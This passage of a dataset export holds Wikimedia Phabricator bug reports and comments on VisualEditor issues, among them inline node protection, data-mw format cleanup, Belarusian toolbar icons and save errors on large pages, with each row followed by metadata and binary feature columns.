+Which browser is this about?",,,1377119887,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5cuwqt62enm5hymwly75,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+55149,VisualEditor: Annotating an inline alien breaks node protection,"1. Create a document with:
+   Foo <cite>Alien</cite> Bar
+2. Select all and bold
+
+Results
+3. 'Alien' is bolded, despite being protected (questionable)
+4. The shield has disappeared.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377085200,1579117639.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-tyb65vkuz46fcurmj72h,task_description,resolved,True,c1,3,True,False,False,7,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+1425997,VisualEditor: Annotating an inline alien breaks node protection,"This seems to behave correctly these days.
+
+3. It is still bolded, but I think that's usually the right behavior. (We could change this by using `blacklistedAnnotationTypes`, which we use now mostly to disallow applying link annotations over nodes that already contain links.)
+4. This doesn't happen, the ""shield"" is still present and catches clicks. (I believe that's the same thing that we call ""highlights"" now, the striped overlay thing?) {F31513637}",,,1579117639,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tyb65vkuz46fcurmj72h,task_subcomment,,True,c1,3,True,,,341,,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1
+55148,VisualEditor: Move MW-specific code out of the VE-core model registry,"Both ve.dm.ModelRegistry.js and its test file have references to  /^mw:/ . Any code relating to mw should be in modules/ve-mw/
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377084540,1393874721.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-hia733wv6lu2vvjmm2xv,task_description,resolved,True,c1,3,True,False,False,7,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+251162,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116487 merged by jenkins-bot:
+Update VE core submodule to master (74be717)
+
+https://gerrit.wikimedia.org/r/116487",,,1393875313,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251157,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116485 merged by jenkins-bot:
+Remove MW-specific config and genericise tests in ModelRegistry
+
+https://gerrit.wikimedia.org/r/116485",,,1393874576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251154,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116487 had a related patch set uploaded by Esanders:
+MW configuration for modelRegistry
+
+https://gerrit.wikimedia.org/r/116487",,,1393858493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251149,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116485 had a related patch set uploaded by Esanders:
+Remove MW-specific config and genericise tests in ModelRegistry
+
+https://gerrit.wikimedia.org/r/116485",,,1393858486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55135,Clean up single vs. multi-part data-mw,"We currently use { target: {}, params: {} } for single-transclusion content, and {parts: [{template:{target: {}, params: {}, i: 0}}]} for multi-part transclusions and extensions. This creates special cases and makes it necessary to know all keys to convert the single-transclusion format into the parts bit.
+
+The missing namespacing also makes it harder than necessary to add additional information to data-mw.
+
+To clean this up, we should consider moving to always using an array format like this:
+
+parts: [{""@type"":""mw:Transclusion"", target: {}, params: {}}]
+
+The change to always use an array is already supported by VisualEditor. Flattening the nested object and using a JSON-LDish @type key makes the parts structure more regular and easier to extend. It also moves it closer to the RDFa names. Both us and VE can support both formats as an input for a while to avoid caching issues, but should start by only emitting the new format.
+
+See also:
+http://json-ld.org/playground/index.html -- some example JSON-LD
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377042960,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_description,open,True,c1,3,True,False,,7,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1
+250382,Clean up single vs. multi-part data-mw,"The other changes in this ticket will require co-ordination with VE since it will break existing code.
+
+This will also require the cached HTML versioning to be implemented to prevent weird editing errors between when parsoid is deployed and varnish caches or cleared.  Alternatively, VE and Parsoid serializer would have to handle old and new formats of data-mw temporarily.",,,1377558860,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+250381,Clean up single vs. multi-part data-mw,"Change 81143 merged by jenkins-bot:
+(Bug 53135) Step 1: Always use parts array for transclusion data-mw
+
+https://gerrit.wikimedia.org/r/81143",,,1377558504,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250375,Clean up single vs. multi-part data-mw,"Change 81143 had a related patch set uploaded by Subramanya Sastry:
+(Bug 53135) Step 1: Always use parts array for transclusion data-mw
+
+https://gerrit.wikimedia.org/r/81143",,,1377557762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55094,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**Author:** `p.selitskas`
+
+**Description:**
+Please create an icon with bold cyrillic ""Т"" for [be] and [be-tarask].
+
+In Belarusian locales ([be] and [be-tarask]), the Bold icon is now read as ""Тл"" which may be interpreted as ""Тлусты"" (fat), but in fact it makes the selected text not fat, but bold (""Тоўсты""). :)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377007260,1379364856.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7uqnmenedinwiui6wz4s,task_description,resolved,True,c1,3,False,False,True,7,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+248109,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,This should now be fixed in production; sorry for the delay.,,,1379364856,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+248101,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84361 merged by jenkins-bot:
+Fix merge conflict breaking localised bold/italic icons
+
+https://gerrit.wikimedia.org/r/84361",,,1379357724,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+248094,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84361 had a related patch set uploaded by Reedy:
+Fix merge conflict breaking localised bold/italic icons
+
+https://gerrit.wikimedia.org/r/84361",,,1379357517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+248088,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84095 merged by jenkins-bot:
+Fix merge conflict breaking localised bold/italic icons
+
+https://gerrit.wikimedia.org/r/84095",,,1379355814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+248084,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84095 had a related patch set uploaded by Catrope:
+Fix merge conflict breaking localised bold/italic icons
+
+https://gerrit.wikimedia.org/r/84095",,,1379023642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+248080,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,You're welcome. It does.,,,1379019052,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+248076,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:
+
+(In reply to comment #17)
+> Argh, sorry about this mess; we'll back-port the fix.
+
+Thanks for swift resolving! Does it mean the 'fix fix' will be deployed soon out of general deployment schedule?",,,1379015228,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+248070,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Argh, sorry about this mess; we'll back-port the fix.",,,1379011818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+248066,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84027 merged by jenkins-bot:
+Fix merge conflict breaking localised bold/italic icons
+
+https://gerrit.wikimedia.org/r/84027",,,1379011697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+248060,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84027 had a related patch set uploaded by Esanders:
+Fix merge conflict breaking localised bold/italic icons
+
+https://gerrit.wikimedia.org/r/84027",,,1379011477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+248054,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,This is the offending commit: https://gerrit.wikimedia.org/r/#/c/81522/,,,1379011117,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+248048,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:
+
+(In reply to comment #12)
+> Looks like Trevor's toolbar rewrite didn't merge cleanly with my commits and
+> they were partially undone.
+
+Obviously. I was not aware of the rewrite and first thought that the patch was merged but hasn't appeared in the codebase (black magic).",,,1379008274,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+248043,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,Looks like Trevor's toolbar rewrite didn't merge cleanly with my commits and they were partially undone.,,,1379007349,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+248037,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:
+
+(In reply to comment #10)
+> (In reply to comment #9)
+> > te-el shouldn't exist as it was replaced with just te, so maybe this is a
+> > caching issue?
+> 
+> https://bits.wikimedia.org/static-1.22wmf16/extensions/VisualEditor/modules/
+> ve/ui/styles/images/icons/bold-cyrl-te-el.svg
+> 
+> 404 (PNG as well). And I'm not counting the absent CSS class that should
+> display this icon. Did the deployment come smoothly? :)
+
+Oh, I'm sorry, I checked the wrong file. Anyway, JS adds the wrong class.",,,1379006964,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+248033,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:
+
+(In reply to comment #9)
+> te-el shouldn't exist as it was replaced with just te, so maybe this is a
+> caching issue?
+
+https://bits.wikimedia.org/static-1.22wmf16/extensions/VisualEditor/modules/ve/ui/styles/images/icons/bold-cyrl-te-el.svg
+
+404 (PNG as well). And I'm not counting the absent CSS class that should display this icon. Did the deployment come smoothly? :)",,,1379006874,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+248028,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"te-el shouldn't exist as it was replaced with just te, so maybe this is a caching issue?",,,1379006381,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+248024,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:
+
+Class .ve-ui-icon-bold-cyrl-te-el was not created/generated, and now there is empty space instead of a ""Bold"" icon. Reopening the bug.",,,1379006056,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+248020,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,Now merged and will go out in about an hour.,,,1377035770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+248016,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,Also related: https://gerrit.wikimedia.org/r/80126,,,1377029951,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+248011,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"The be-tarask icons are now changed (and this version of the software will go out in a few hours' time); keeping the bug open for making it work with both be and be-tarask, as part of a general fall-back mode.",,,1377022483,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+248003,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 80049 merged by jenkins-bot:
+Change be-tarask to use Te instead of Te-El for bold
+
+https://gerrit.wikimedia.org/r/80049",,,1377022412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247995,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:
+
+(In reply to comment #1)
+> We don't currently support [be], just [be-tarask]. Can you confirm that we
+> should use the same icons for [be] (bold: T, italic: K)?
+
+Yes, I confirm this suggestion.",,,1377017841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+247989,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 80049 had a related patch set uploaded by Esanders:
+Change be-tarask to use Te instead of Te-El for bold
+
+https://gerrit.wikimedia.org/r/80049",,,1377017622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247982,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"We don't currently support [be], just [be-tarask]. Can you confirm that we should use the same icons for [be] (bold: T, italic: K)?",,,1377017564,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+55093,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","It first happened to the user who was trying to add a wikilink to a large page,  https://en.wikipedia.org/wiki/List_of_Criterion_Collection_DVD_and_Blu-ray_releases; he got the error while in VE so he made that edit with the classic editor later.
+He then copied the contents of the page to a sandbox - https://en.wikipedia.org/wiki/User:Marc_Kupper/sandbox2 -  for further testing and these are his findings:
+
+<< It took 74 seconds to load the page in VE, I made the change, save-page, give a reason (wikilink - testing VE), save-page again. After 1:45 (105 seconds) I got ""Error: Unknown error"" in the lower part of VE's edit-summary box. The save-page button is grayed out.
